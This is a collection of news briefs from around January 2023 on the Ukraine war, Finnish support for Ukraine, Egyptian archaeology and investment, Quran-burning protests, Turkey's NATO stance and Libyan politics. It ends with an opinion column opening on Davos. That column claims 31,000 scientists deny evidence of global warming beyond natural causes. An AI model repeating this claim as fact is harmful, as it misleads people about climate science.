"To make them ready, but also to start training of Ukrainian crews for those battle tanks. Because after the decision has been taken on delivery of battle tanks, it will take some time to identify, to make ready and to train Ukrainian crews. And I welcome the clear message from Minister Pistorius that Allies with Leopard battle tanks are actually urged to start that work," the NATO Secretary General said.
Ukraine has enough resources to continue and complete the heating season in a normal mode, Prime Minister Denys Shmyhal said.

"We have enough resources to continue and complete the heating season in a normal mode. Gas storages store about 11 billion cubic meters of gas, and almost 1.2 million tonnes of coal in warehouses," Shmyhal said at a government meeting on Tuesday.

He also said that on January 23, the Cabinet of Ministers adopted a resolution allowing the state company, NJSC Naftogaz Ukrainy, to attract a grant from the European Bank for Reconstruction and Development (EBRD) of almost EUR 189 million to import additional volumes of gas.
The list of 748 seriously ill and seriously wounded Ukrainian defenders who are being held captive by the aggressor state has been handed over to the Russian side, the Verkhovna Rada Commissioner for Human Rights Dmytro Lubinets has said.

"Within the framework of the agreements reached, the Ukrainian delegation handed over to the Russian side a list of 748 seriously ill and seriously wounded defenders of Ukraine who are currently being held captive by the aggressor state, in order to verify them, establish their place of stay and state of health," Lubinets wrote on Telegram on Tuesday.

According to him, the results of checking this list, as well as the list of wounded Russian prisoners of war provided to the Ukrainian side, will be the subject of further negotiations.

He also noted that the list submitted to the Russian Federation was formed on the basis of data recorded in the relevant registers of the National Information Bureau and the Coordination Headquarters for the Treatment of Prisoners of War, since the Secretariat of the Authorized Person does not keep separate records of prisoners of war.

As reported, within the framework of the large forum dubbed "The Future of human Rights in the XXI century", which was held in Turkey (Ankara) from January 12 to January 14 this year, the Ukrainian and Russian ombudsmen held several rounds of negotiations. In particular, they discussed the issues of intensifying the exchange of prisoners of war and separately the exchange of wounded, as well as the issues of Ukrainian citizens who have been serving long prison terms in the territory of the Russian Federation since 2014.
The Flemish government of Belgium has donated generators for the city hospital of Lutsk and municipal enterprise Lutskvodokanal.

"As part of the assistance of the Flemish Government of Belgium, powerful generators are being transferred to the city of Lutsk, which will ensure the uninterrupted operation of the Lutskvodokanal municipal enterprise and the city hospital, in which 650 people are currently undergoing inpatient treatment," the Ukrainian Red Cross Society (URCS) said on its official page on Facebook on Tuesday.

According to the report, representatives of the URCS, the Ministry of Health of Ukraine, the authorities of the city of Lutsk and Volyn region discussed issues of humanitarian assistance to citizens of Ukraine with members of the Flemish government of Belgium.

"The International Red Cross and Red Crescent Movement is always working to overcome the humanitarian crisis in countries where there is such a need. The war in Ukraine showed the unity of the Movement, the unity of the governments of countries, including the Flemish government of Belgium. By uniting, we can help a much larger number of people," President of the URCS Mykola Polischuk said.

In turn, Minister-President of the Flemish Government of Belgium Jan Jambon said that his government intends to continue supporting Ukraine and its citizens.

"From the beginning of the full-scale invasion [of the Russian Federation into Ukraine], the Flemish government and the Belgian parliament decided not to leave Ukrainians in trouble. Since then, we continue supporting the population of Ukraine with the most necessary things. In addition to the assistance that we transfer to Lutsk, we plan to hand over generators to Rivne and Odesa regions soon," Jambon said.

Sources: https://www.facebook.com/RedCrossUkraine

https://cutt.ly/Q9j6tho?fbclid=IwAR1Jr8js6QpzXuv9UgBDuG9ZzJK46qNezAef2heS4xrDcwmRi4OaIefsOrk
President of Ukraine Volodymyr Zelensky hopes that Finland will support Ukraine on its way to NATO.

"We support Finland and Sweden on the way to the Alliance, joining the most powerful security platform today. We would like, since we support these steps today, that tomorrow we do not go down this road alone," he said at a press conference on Tuesday after meeting with Finnish President Sauli Niinisto.

According to Zelensky, "we must build a strong army so that we can get there [to NATO]. This resilience depends on the support of many countries. The United States gives the greatest support. Britain, the countries of the European continent, the countries of Asia, Africa. It is very important that they are on the side of Ukraine, on the side of truth and strengthen our army in any way they can."

"We talked about creating a separate platform to strengthen Ukraine with armored vehicles, including tanks. I am glad that Finland will take its place there," he also said.

"I want to thank you for the special attitude to our people. It is a great humanitarian aid to give the necessary shelter in your country. I appreciate it very much. During this war such a warm attitude is really important," Zelensky said.
President of Ukraine Volodymyr Zelensky, commenting on the stated words of President of Belarus Alexander Lukashenko, who is not recognized as legally elected in the United States and the EU, that the Ukrainian authorities allegedly offered him to conclude a "non-aggression pact", said that Ukraine was not going and is not going to attack Belarus.

"We were not going to and are not going to attack Belarus. This is the main signal from the entire Ukrainian people to the Belarusian people. It is very important for us that Belarus does not lose its independence and does not join this disgraceful war despite anyones influence," Zelensky said at a press conference in Kyiv with Finnish President Sauli Niinisto, answering journalists' questions.

The President of Ukraine is convinced that the majority of Belarusian citizens and servicemen are unwilling to use weapons against the Ukrainian people. At the same time, the Head of State does not rule out such a challenge given the presence of Russian troops in Belarus.

"As for the Russian troops, who may be on any territory of any state: they believe that they have such a military schengen. Therefore, it all depends, as it seems to me, on the respect of the population of any country for their state, as well as respect for the leadership of a particular state, which may or may not let armed people into its territory," he said.

According to Zelensky, who told him at a press conference about a possible new armed revenge of Russia on the territory of Ukraine this spring, he noted that all Ukrainian military have been tasked to prepare for any challenges.

"It's not easy, that's why we require help from partners. Our territory is very large. Therefore, we have a limit on the amount of ammunition, of course, and therefore we must prepare for any challenges. But I believe that they will not succeed from this direction [including from Belarus]. Even if it [the offensive] is hypothetical," the president said.

Earlier, Belarusian President Alexander Lukashenko, who is not recognized as legally elected in the United States and the EU, said in an interview with the Belarusian news agency BelTA that the Ukrainian authorities allegedly offered him to conclude a "non-aggression pact." At the same time, he announced the allegedly ongoing "threats" to Minsk from Western countries.
The issue of the possibility of organizing a humanitarian corridor for the release of prisoners of war (POWs) and civilians captured by the Russian Federation is currently being worked out, Ukrainian Ambassador to Turkey Vasyl Bodnar said.

Last week there was a visit of our ombudsman. We held a number of negotiations in bilateral and trilateral formats. The issue of the possibility of organizing a so-called humanitarian corridor through which many of our prisoners of war, wounded prisoners of war, civilians, captured by the Russian Federation, could be released through the mediation of Turkey, is being worked out, he said at a briefing at the Media Center Ukraine on Tuesday.

According to the Ambassador, mechanisms are currently being processed for how the humanitarian corridor will be implemented: it can be directly through the territory of Turkey, or with the mediation of the Turkish side.

Bodnar recalled the telephone conversation held on January 20 between Ukrainian President Volodymyr Zelensky and Turkish President Recep Tayyip Erdogan, as well as the conversation between the Turkish leader and the President of the Russian Federation.

These topics were discussed. And Turkey's mediation role can be further increased. But so far it's in the process. So far, the process is in a closed format. Let's wait for the results to understand how it can work and be effective for the liberation of our people. This is a priority for us, the Ambassador stressed.
Ukrainian President Volodymyr Zelensky and Finnish President Sauli Niiniste have discussed issues of defense cooperation, the protection of Ukrainian energy sector and the preparation of the 10th package of EU sanctions against Russia during his visit to Kyiv on Tuesday.

According to the press service of the head of state, Zelensky thanked Finland for its unwavering principled support of Ukraine's defense efforts, sanctions pressure on Russia, and international activity aimed at bringing Russia to justice for its terror.

He said that Ukraine and Finland are already united by 12 defense assistance packages and cooperation in restoring Ukrainian energy after Russian strikes.

"I am also grateful to Mr. President personally, I am grateful to the citizens of Finland for a clear understanding of what we need now. It is to remain resilient and move together towards victory in this war," Zelensky said.

The Ukrainian president also noted the importance of international efforts being aimed at preventing any attempts by Russia and its affiliates to circumvent the pressure of sanctions.

In addition, Zelensky briefed his Finnish counterpart on the current situation at the front, Russia's plans for the near future.

"It is obvious that the Russian leadership is preparing for revenge, accumulating forces. But it is also obvious that the terrorist state must lose. Today we discussed what exactly is needed for this on the battlefield for our country. In this context, we also discussed Finland's participation in the coalition of countries aimed to provide Ukraine with modern Western tanks. We are grateful for the support. Such a contribution to the victory is very important for us," the President said.

During the meeting, the leaders paid attention to the possibility of Finland joining the implementation of specific points of the Ukrainian Peace Formula.

Separately, the parties touched upon the issues of European and Euro-Atlantic integration of Ukraine.

For his part, Niiniste said that today he had the opportunity to visit Borodianka and Bucha in Kyiv region, where he saw traces of the cruelty of the Russian invaders and the suffering of the Ukrainian people.

"We are ready to do everything we can to help you. We have been doing so until now, especially after last year's large-scale offensive," the Finnish leader said, adding that his country has been continuously supporting Ukraine and has provided assistance worth almost EUR 600 million. In addition, Finland supports Ukrainian civil society, provides generators and other humanitarian aid, and has sheltered about 50,000 Ukrainian citizens.
Russian plane shot down in Donetsk region  AFU General Staff

Ukrainian servicemen shot down a Russian SU-25 in Donetsk region, the General Staff of the Armed Forces of Ukraine reports.

"Today, the Ukrainian Defense Forces in Donetsk region shot down another enemy SU-25 aircraft," the Facebook post says.
German Chancellor Olaf Scholz has decided to supply combat tanks to Ukraine, we are talking about at least one Leopard 2A6 company, the German edition of Spiegel reports.

According to media reports, the Federal Government wants to grant permission to send such tanks that belong to other states, such as Poland.

Other allies, including from Scandinavia, also want to supply Ukraine with Leopard 2 main battle tanks.

The Wall Street Journal reported in the afternoon that the United States is considering the possibility of supplying a significant number of Abrams main battle tanks. France is also considering the possibility of supplying tanks to Ukraine.
Finland could train Ukrainian servicemen, Finnish President Sauli Niinisto has said at a joint press conference with President of Ukraine Volodymyr Zelensky in Kyiv on Tuesday.

"We can train Ukrainian servicemen. We are one of a few countries in Europe that have conscription to its Armed Forces. And they [the Armed Forces] must annually receive and train people. There are facilities for this purpose, special premises, opportunities and extensive experience of trainers," he said.

To a question about the transfer of Leopard tanks by Finland to Ukraine, the Finnish president expressed the opinion that a strong armored unit should be created in Europe for the transfer to Ukraine.

"We should take into account the fact that the discussion on [the transfer of] tanks [to Ukraine] in such a large unit  take one tank here and one more there  is not enough. There should be a strong unit in Europe. We are discussing the possibility of creating such a unit, and we are considering opportunities We will make our contribution to the creation of such a unit," Niinisto said.

At the same time, he noted that Finland should be very attentive and cautious regarding the supply of weapons to Ukraine.

"Among the countries that have Leopard tanks, and there are more than ten of such countries in Europe, Finland has a unique position, because we are the only EU member state, and not a NATO member, which has the second in Europe longest borderline with Russia following Ukraine," he said.

"We should always have this in mind while thinking about our role and place," the Finnish president said.
Up to 88 percent of the planned dredging works to expand and deepen the Suez Canal as part of Egypts plan to develop the canal's southern sector has been completed, Osama Rabie, chairman of the Suez Canal Authority said on Thursday.
Egypt is set to experience a fluctuation in temperatures from hot daytime to chilly nights starting Friday and continuing through Wednesday, according to the Egyptian Meteorological Authority (EMA).
Representatives from nine Arab countries will meet in Jeddah, Saudi Arabia on Friday to discuss their stance and moves to end the decade-long isolation of President Bashar Al-Assad, Arab diplomats said Tuesday.
During the IMF and World Bank Groups spring meetings in Washington DC, Ahram Online interviewed the Director of the Middle East and Central Asia Department at the International Monetary Fund (IMF) Jihad Azour.
Egypt's archaeologists announced Friday they completed more extensive scanning of the two recently discovered hidden chambers behind King Tutankhamun's tomb in the Valley of the Kings as part of a quest that some hope could ultimately lead to finding Queen Nefertiti's remains.

Antiquities Minister Khaled El-Enany told reporters gathered at the famed site on the western bank of the Nile River, opposite the southern city of Luxor, that experts worked for 11 hours overnight to obtain 40 scans of five different levels of the area behind Tutankhamun's burial chamber.

More scans will follow at the end of April, he said, and invited archaeologists from all over the world to come to Cairo in early May to examine the findings.

The scans are part of a quest for the remains of Queen Nefertiti and could answer the question whether her mummy lies behind the false walls in the Luxor complex.

British Egyptologist Nicholas Reeves said he still believes Tut's tomb is "simply the outer elements of a larger tomb" belonging to Nefertiti.

The discovery made last month that the hidden rooms behind King Tut's tomb could contain metal or organic material could shine new light on one of ancient Egypt's most turbulent times, and Reeves has theorized that Nefertiti might be inside.

Others have speculated that the new chambers could contain the tomb of a member of Tutankhmun's family, not necessarily Nefertiti, who was one of the wives of Tutankhmun's father, the Pharoah Akhenaten, but is not believed to be Tut's mother.

Reeves told reporters Friday at the Valley of the Kings that the overnight scanning provided "the most detailed data" so far on the secret chambers.

He has speculated that Tutankhamun, who died at age 19, may have been rushed into an outer chamber of what was originally Nefertiti's tomb.

"I believe and I still believe" that the King Tut's tomb is "simply the outer elements of a larger tomb that is of Nefertiti," he said, repeating his assertion about the ancient queen whose 3,300-year-old bust on display in Berlin is one of the most famous symbols of ancient Egypt and classical beauty.

The discovery of the hidden chambers has ignited massive interest among the archaeological community and beyond. It could also renew excitement in Egypt's antiquities and help reinvigorate the country's flagging tourism industry.

Tourism has been hit hard in Egypt in recent years by political violence, an insurgency in the northern Sinai Peninsula, and persistent attacks since the 2013 overthrow of divisive Islamist president Mohamed Morsi.

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A CT-scan study of the mummy of King Seqenenre-Taa-II, whose death eventually helped the expulsion of Egypts invaders and reunited the kingdom, revealed new details about how the King died.

The study by Zahi Hawass and Sahar Saleem has been published on February 17th in a scientific Journal (Frontiers in Medicine). Hawass and Saleem suggest that the pharaoh died close to the battlefield and was ceremoniously executed by several attackers using Hyksos weapons. The 3D CT images revealed that the embalmers had skillfully concealed some of the wounds, implying professional mummification of the body in the royal Theban mummification workshop

Modern medical technology helped tell the story of a king in ancient Egypt who was martyred for the sake of reunifying Egypt in the 16th century BC.

Pharaoh Seqenenre Taa II the Brave, ruled southern Egypt during the occupation of the country by the Hyksos, a foreign ruling dynasty that seized the delta in northern Egypt for about a century (1650-1550 BC).

The mummy of Seqenenre was discovered in Deir Al-Bahri Royal Cachette in 1881 and was examined then for the first time; in the 1960s, the mummy was studied using X-rays. These examinations indicated that the deceased King had suffered several severe head injuries; however, there were no injuries to the rest of the body.

Theories have differed as to the cause of the death of the King, as some believed that the king was killed in a battle, perhaps by the hands of the Hyksos king himself. Others indicated that Seqenenre may have been killed by a conspiracy while sleeping in his palace. Due to the poor condition of the mummy, some suggested that the mummification may have taken place in a hurry away from the royal mummification workshop.

CT scan technology is one of the medical imaging techniques used to study archaeological remains, including mummies, safely and non-invasively, which helps to preserve them. CT scans helped study many Egyptian royal mummies and determine age at death, sex, as well as how they died.

In their research, Hawass and Saleem presented a new interpretation of the events before and after the death of King Seqenenre, based on two- and three-dimensional CT image reconstruction using advanced computer technologies.

The deformed hands indicate that Seqenenre may have been captured on the battlefield and his hands were tied behind his back, preventing him from deflecting the fierce attack from his face. The CT scan of Seqenenres mummy revealed details of the head injuries, including wounds that had not been discovered in previous examinations and had been skillfully hidden by embalmers.

The research included a study of various Hyksos weapons stored at the Egyptian Museum in Cairo, including an axe, a spear, and several daggers. Saleem and Hawass confirmed the compatibility of these weapons with the wounds of Seqenenre.

The results indicate that Seqenenre was killed by multiple hits from different angles by several Hyksos attackers who used different weapons. Seqenenre was rather killed in a ceremonial execution. This indicates that Seqenenre was really on the front line, risking his life with his soldiers to liberate Egypt.

This CT study also determined that Seqenenre was about forty years old at the time of his death, based on the shape of the bones (such as the pubic symphysis joint) providing the most accurate estimate to date.

Zahi Hawass, the former Egyptian Minister of Antiquities, and Sahar Saleem, a professor of radiology, are pioneers in the use of CT scans to study several royal mummies of the New Kingdom, including reputable warriors such as Thutmose III, Ramses II, and Ramses III; however, Seqenenre appears to be the only one among them who was on the front line of the battlefield.

In addition, this study revealed important details about the embalming of the body of Seqenenre.

For example, embalmers used a sophisticated method of hiding wounds on the king's head under a layer of embalming material that works similarly to the fillings used in modern plastic surgery. This means that the mummification was actually done in a royal mummification workshop rather than a poorly prepared place, as was previously suggested.

This study provides important new details about a pivotal point in Egypt's long history. The death of Seqenenre inspired his successors to continue the struggle to unify Egypt and to found the New Kingdom.

In a stela known as the Tablet of Carnavaron, found in the Temple of Thebes of Karnak, the battles fought by Kamos, son of Seqenenre against the Hyksos is recorded. Kamos fell dead during the war against the Hyksos, and it was Ahmose, the second son of Seqenenre, who completed the expulsion of the Hyksos. He fought them, defeated them, and chased them until Gaza in Palestine and reunited Egypt.

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Egypt has strongly condemned the burning of a copy of the Noble Quran by an extremist on Saturday in Swedens capital, Stockholm, as a disgraceful act.

Related Turkey cancels Sweden minister visit over planned protest

In a statement, the Egyptian Ministry of Foreign Affairs warned that this disgraceful act provokes the feelings of hundreds of millions of Muslims around the world.

Anti-Islam activist Rasmus Paludan, leader of Danish far-right political party Hard Line, staged an anti-Turkish protest outside the Turkish Embassy in Stockholm as per a permission by the police where he burned a copy of the Quran.

The incident has triggered official condemnation by Arab countries, while Turkey canceled a planned visit by Swedens defense minister scheduled for 27 January in response to the protests.

Paludan is known for burning Quran in protests in Sweden and delivering remarks against Islam.

In the foreign ministrys statement, Egypt warned of the danger of such acts that offend religions and fuel hate speech and violence.

Egypt also called for upholding the values of tolerance and peaceful coexistence and for preventing all forms of offense against religions and their sanctities through such extremist practices.

These extremist practices are inconsistent with the values of respect of others, freedom of belief, human rights and human fundamental freedoms, the ministry stressed.

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Outrage over a Quran-burning protest in Sweden produced a second day of protests in Turkey, reflecting tensions between the two countries.

Some 250 people gathered outside the Swedish Consulate in Istanbul, where a photo of Danish anti-Islam activist Rasmus Paludan was set on fire. Paludan burned Islam's holy book outside the Turkish Embassy in Stockholm on Saturday, sparking protests in Istanbul and Ankara that night.

Participants in Sunday's event carried green flags featuring the Islamic proclamation of faith and banner that said "We condemn Sweden's state-supported Islamophobia.'' A sign on a window of the Swedish Consulate read, "We do not share that book-burning idiot's view.''

The protests have renewed concerns about Turkey holding up Sweden and Finland's bid to join NATO. Turkey has not yet ratified the Nordic nations' memberships in the military alliance, saying Sweden needs to address Ankara's security concerns.

Turkish officials slammed Sweden for allowing the Quran-burning protest but President Recep Tayyip Erdogan did not comment on it during his weekend speeches.

Ankara said on Saturday that it had called off a visit by Sweden's defense minister.

Swedish Prime Minister Ulf Kristersson tweeted late Saturday that freedom of expression was crucial to democracy but added that "what is legal is not necessarily appropriate."

"Burning books that are holy to many is a deeply disrespectful act. I want to express my sympathy for all Muslims who are offended by what has happened in Stockholm today,'' Kristersson said.

In a statement, the Egyptian Ministry of Foreign Affairs warned that this disgraceful act provokes the feelings of hundreds of millions of Muslims around the world.

These extremist practices are inconsistent with the values of respect of others, freedom of belief, human rights and human fundamental freedoms, the ministry stressed.

Mustafa Demircan, one of the people protesting in Istanbul on Sunday, said the act of burning the Quran should not be considered an act protected by the right of free expression.

Protesters also gathered outside the Swedish Embassy in Ankara for a second day. In southeastern Sanliurfa province. More protests were planned for Sunday evening.

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Turkey's president said Monday that Sweden shouldn't expect support for NATO membership following weekend protests in Stockholm by an anti-Islam activist and pro-Kurdish groups.

President Recep Tayyip Erdogan slammed Rasmus Paludan's Quran-burning protest on Saturday, saying it was an insult to everyone, especially to Muslims. He also criticized Swedish authorities for allowing the demonstration to take place outside the Turkish Embassy in Stockholm.

Erdogan also criticized Sweden for pro-Kurdish protests where demonstrators waved flags of various Kurdish groups, including the Kurdistan Workers' Party, or PKK, which has waged a decades-long insurgency against Turkey. The PKK is considered a terrorist group in Turkey, the European Union and the United States, but its symbols aren't banned in Sweden.

``So you will let terror organizations run wild and then expect our support for getting into NATO. That's not happening,'' Erdogan said, referring to Sweden and Finland's accession bids for the military alliance. He said if Sweden won't show respect to Turkey or Muslims, then ``they won't see any support from us on the NATO issue.''

Turkey has been holding up the Nordic nations' historic NATO bids.

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President Abdel-Fattah El-Sisi will leave for New Delhi, India, on Tuesday morning at an invitation of Indian Prime Minister Narendra Modi, to participate as the chief guest at celebrations of India's Republic Day on 26 January.

El-Sisi's participation is the first time ever for an Egyptian president to be the chief guest of India's Republic Day, which marks the date on which the Constitution of India came into effect on 26 January, 1950.



In statements on Tuesday, Presidential Spokesman Bassam Rady said that this reflects the close ties between the two countries and India's deep appreciation of the Egyptian leadership and government.



It also demonstrates the deep interest of the Indian side in strengthening cooperation between the two friendly countries in their capacity as one of the most important emerging countries and in light of their vital role on the regional and international arenas, the spokesman said.

Earlier this week, Indias Ambassador to Cairo Ajit Gupte said the upcoming visit of El-Sisi to India will be "a momentous occasion that heralds a new dawn in the two countrys bilateral relations."



President El-Sisi's visit to New Delhi coincides with the 75th anniversary of establishing diplomatic ties between Egypt and India, Rady added.



During his visit, President El-Sisi is scheduled to meet with a number of officials in India, including Prime Minister Narendra Modi, President Droupadi Murmu and other officials in order to discuss ways to strengthen bilateral relations at all levels, the spokesman said.



El-Sisi will also meet with heads and representatives of a number of major companies in various domains to discuss mechanisms for consolidating economic ties between the two sides and investment opportunities in Egypt, he added.

In November 2022, India -- the president of the Group of 20 (G20) in 2023 -- invited Egypt to participate as a guest country in the G20 meetings, in which Ambassador Ragy El-Etreby, assistant minister of foreign affairs for international and regional multilateral economic affairs, will be the personal representative of President El-Sisi at the meetings.

El-Etreby has recently said that "Cairo intends to closely cooperate with the Indian presidency of the Group" concerning files of mutual priority, adding that these files include enhancing global food security and supporting international financing institutions to better face successive crises.

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The Sovereign Fund of Egypt (TSFE) has inked two agreements with Egypt-based private equity firm, B Investments Holding (BIH), to co-invest over EGP 2 billion (around $67.5 million) in the healthcare and pharmaceuticals sector.

The agreements were signed through the TSFE Healthcare & Pharma Sub-fund in a ceremony held in Cairo on Tuesday, according to a statement by the Egyptian Ministry of Health and Population.

Under the first deal, B Healthcare Investments (BHI)  the investment vehicle of BIH in the field of specialised healthcare, notably fertility as well as maternal and child health  aims to raise up to EGP 1 billion.

As per the deal, BIH and TSFE's sub-fund are committed to invest EGP 200 million and EGP 100 million, respectively, with the rest to be offered to local and regional private sector investors, according to a statement by TSFE.

BHI  which has recently completed the acquisition of 51 percent of the total shares of the Egyptian fertility treatment centre  aims to invest in reproductive health, and maternal and child health.

As per the second agreement, BIH will invest in pharmaceutical distribution and trade services via an investment platform established by TSFE Healthcare & Pharma Sub-fund.

The platform aims to enhance efficiency and inject capital to support infrastructure upgrades required to institutionalise the sector. This will be carried out via partnerships with pioneering local firms to accelerate their growth into under-served cities in Egypt and across the region, according to the ministry statement.

It also aims to leverage the latest technological solutions to provide a wide range of digital offerings that will lead to cost efficiencies, ensure market stability and improve customer experience.

The event was attended by the Egyptian Minister of Health and Population Khaled Abdel-Ghaffar and the Minister of Planning and Economic Development and Chairperson of TSFE Hala El-Said.

Both deals will contribute to providing Egyptians with improved services as well as represent a step forward towards institutionalising the sector, El-Said said.

They will also fulfill the TSFEs investment model that aims to promote partnerships with private investors and develop key strategic sectors while achieving sustainable financial returns for future generations, she added.

Egypt seeks to increase private sector investments in the economy in three years to 65 percent, up 30 percent at present, as per its newly launched State Ownership Policy Document. It also intends to attract $10 billion in investments over the coming four years.

Established in 2006, B Investments is an Egypt-based private equity firm and growth capital investor focusing on various spheres, including real estate development, renewable energy, IT systems and others.

Established in 2018 with EGP 200 billion in capital, TFSE aims to attract private investments into the Egyptian market by tapping underutilised assets to boost the Egyptian economy.

In 2020, the TSFE ranked 43rd among 93 sovereign wealth funds globally in terms of asset size in a set of rankings created by the Sovereign Wealth Fund Institute.

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Egypt strongly condemned on Tuesday the tearing of a part of a copy of the Quran by a leader of an extremist movement in the Netherlands, warning that the action fuels hate speech.

The incident took place around the Dutch parliament in the Hague in the Netherlands.

"The disgraceful incident goes beyond freedom of expression, violates Muslim sanctities, and fuels hate speech between religions and peoples in a way that threatens communal security and stability," the Egyptian Ministry of Foreign Affairs said in a statement.

Edwin Wagensveld, leader of the Dutch chapter of the German far-right group Patriotic Europeans Against the Islamicisation of the Occident (PEGIDA), tore apart pages of Islam's holy book and walked over them in an anti-Islam protest on Monday.

The incident in the Dutch city is the second in Europe in less than a week after Rasmus Paludan, leader of Danish far-right political party Hard Line, burned a copy of the Quran outside the Turkish Embassy in Stockholm.

"Egypt has expressed its deep concern over the recurrence of blasphemy incidents and the recent escalation of Islamophobia in a number of European countries," the foreign ministry said.

The ministry added that those countries have a responsibility to prevent the recurrence of such practices that are "inconsistent with the system of human rights and fundamental freedoms."

Egypt had also condemned the burning of a Quran copy in Stockholm on Saturday, warning that this disgraceful act provokes the feelings of hundreds of millions of Muslims around the world."

The Stockholm incident triggered Arab condemnation and caused Turkey to cancel a planned visit by Swedens defence minister, scheduled for 27 January, in response to the protests.

Furthermore, Turkish President Recep Tayyip Erdogan said that Sweden should not expect any support from Turkey to join the NATO as a member.

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Local political efforts as well as diplomatic and intelligence moves by foreign powers have been made this month in an attempt to end Libyas political stalemate. Those efforts included meetings of local players, leaders of international and regional intelligence services, and diplomatic figures.

Local action began in Cairo with meetings that brought together the Speaker of the House of Representatives in Tobruk Aguila Saleh and the Chairman of the High Council of State Khaled Al-Mishri on 5 January. This was followed by a meeting with Saleh and the General Commander of the Libyan National Army (LNA) Field Marshal Khalifa Haftar, another meeting between Haftar and head of the Libyan Presidential Council Mohamed Al-Manfi, and a meeting between all three.

In the meeting between Saleh and Al-Mishri, discussions focused on the constitutional basis of elections, the process of unifying executive powers and appointing leadership posts, which the two parties have been negotiating for years without progress.

Saleh and Haftar tackled the means to unify political visions regarding the Wests initiative to melt the political iceberg.

The meeting bringing together Saleh, Haftar, and Al-Manfi saw discussions over financial arrangements, the allocation of the budget to different regions, the salaries of LNA figures, and the elections which the West has been pushing the Libyan parties to hold on the dates set in the 2020 roadmap.

Despite high hopes for the Cairo meetings, the Libyan parties seemed to change their positions after returning to Libya. In televised statements to local channels, Saleh said that his agreement with Al-Mishri in Cairo is still oral and that no agreements have been reached regarding the political process with the High Council of the State.

Saleh accused the council of procrastination regarding the demands of the House of Representatives. The two figures agreed, however, to refer the points of contention on the constitutional basis of each house to the relevant party. If this doesnt work, a referendum will be held.

Saleh revealed that during his meeting with Haftar and Al-Manfi in Cairo he brought up the need to form a new government that would supervise the elections, distribute wealth fairly among the three regions of the country, and restore leadership and unify it under the House of Representatives. This would mean monitoring executive power and unifying the armed forces under the banner of the General Command led by Haftar.

He reiterated his willingness to accept amendments to the Constitutional Declaration issued in August 2011, adding articles by way of a constitutional basis for the elections. Local parties felt Saleh was withdrawing what he said in his talks with Al-Mishri in Cairo.

In statements to local channels, Saleh took issue with Al-Mishri announcing the imminent approval of a constitutional basis in agreement with the House of Representatives, pointing out that the High Council of State is an advisory body with no jurisdiction to make such decisions.

Salehs statements were in response to criticisms directed by a number of parliament members in Benghazi on 17 January at his meeting with Al-Mishri. The parliamentarians criticised the militias control of the High Council of State, and Al-Mishri responded by tweeting that he supports those who seek harmony and stability and that whoever wants otherwise will reap the results of his bad intentions.

Despite the declared differences between the House of Representatives and the state regarding political arrangements, the relationship between the two houses has been close for over a year now due to their political agreement on executive power issues. Local and Western parties, however, insist on the need to hold elections before executive power can be granted, to avoid claims of weak legitimacy.

In tandem with the meetings of Al-Mishri and Saleh in Cairo, more than 50 Libyan political figures, including party heads and active independents, met in Istanbul, Turkey, on 5 January to discuss ways to end the political deadlock and the conditions and criteria for choosing the countrys president and executive head.

They also tackled drafting a national charter that puts the public interest first, and said a subsequent meeting will be held in Libya to set an organisational framework for it.

The Istanbul meeting was an attempt by the participants to confirm that they would take part in any upcoming negotiations to break the political stalemate and affirm their rejection of the two houses right to dictate upcoming political arrangements. They also encouraged the United Nations Support Mission in Libya to form a new dialogue authority to formulate arrangements, as was the case with the Skhirat (2015) and Berlin (2020) processes, which resulted in new executive powers in charge but did not address the main causes of the crisis.

Local authorities have agreed on the need to address executive power issues as a precondition for political progress, then hold elections. This contradicts the approach of the West, led by the US, which insists that elections should be held first to avoid appeals against any agreed-on political arrangements. Indications of consensus among the foreign powers concerned with Libya regarding its political process nonetheless remain unclear.

CIA head William Burns flew to Libya on 12 January. He held a meeting with Haftar in Benghazi and the head of the interim Government of National Unity Abdul-Hamid Dbeibah in Tripoli. Turkish Intelligence Chief Hakan Fidan was also in Tripoli, where he met Dbeibah, Al-Manfi, and Al-Mishri later.

Haftars media office did not issue any statements regarding his meeting with Burns, whereas Dbeibahs media office reported that he discussed with Burns economic and security cooperation between the US and Libya. The office added that Burns stressed the need to develop economic and security cooperation between the two countries, and lauded the stability and growth Libya has witnessed recently.

Media reports stated that Burns meeting with Dbeibah and Haftar focused on three main topics: oil, the fighters of the Russian Wagner paramilitary group, and security cooperation. The reports added that Burns asked them to coordinate their stances with the US and sever ties with the Russian company designated by the White House as a transnational criminal group and threatened to add more penalties for its ties with the Kremlin.

After Burns, the Charge dAffaires of the US Embassy to Libya Leslie Ordman visited Benghazi on 17 January along with Deputy Commander of the US Air Forces in Europe and Africa Lieutenant General John D Lamontagne, meeting with Saleh, Haftar, and other local players.

Ordman said he discussed with Saleh the importance of building unity and bridging differences to serve the interests of the Libyan people, including enabling choose their leaders, according to the US embassys account on Twitter.

Salehs media office said the Libyan official assured Ordman of the legitimacy of the House of Representatives and its concern with approving the constitutional and legal arrangements for the elections, and stressed the need to establish a fair distribution mechanism for the wealth of Libyans among all regions.

The US embassy added that the meeting with Haftar also discussed air coordination, including aviation, and the importance of reuniting the Libyan army under democratically elected civilian command. Haftars media office did not issue a statement regarding the meeting.

Dbeibah and Al-Manfi did not issue statements following their meeting with Fidan either, but Al-Mishri said he and his Turkish guest discussed the political and security process.

Following the unofficial meeting between Al-Mishri, Fidan, Presidential Council member Abdullah Al-Lafi, and Governor of the Central Bank Al-Siddiq Al-Kabeer, Al-Mishri said they discussed ways to overcome obstacles in the way of the political process and efforts to ensure the elections have sound constitutional and legal foundations.

This meeting carried a message to foreign powers about Turkeys influence in Tripoli and its ability to unite the active parties in western Libya, pre-empting any arrangements the West may propose in the foreseeable future, which may become clearer after Washingtons meeting of Western special envoys to Libya late next month.

*A version of this article appears in print in the 26 January, 2023 edition of Al-Ahram Weekly.

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On our annual pilgrimage to Hollywood Award Season, we were tempted to sidetrack. A left turn took us to the exclusive Swiss ski resort of Davos where the worlds elite were convening. That seemed like a more lofty purpose; besides all the powerful will be there, even movie stars. Leonardo Di Caprio? We made a wise move, or did we?

The World Economic Forum (WEF) was having its annual meeting to make this world a better place, with a sustainable future. Does that mean to eliminate all wars, improve the food supply, and end the economic crisis? If all those bigwigs like Bill Gates, Al Gore, leaders, statesmen, scientists, presidents, business and economic experts cannot solve the worlds problems, who can?

Viewing their agenda, naturally the Russia-Ukraine war headed the list. Within the blink of an eye it switched to the rising cost of gas and oil due to the war and how to get rid of them  not the wars, but the nasty fossil fuels that are ruining our planet, our economy, our existence.

We are back to climate change, a subject that simply will not go away, thanks to the media, social or mainstream, as well as a few alarmists with bad data in their briefcases.

Are all these intellectuals unaware of the 31,000 scientists who insist there is no scientific evidence that there is global warming outside of Natures course?

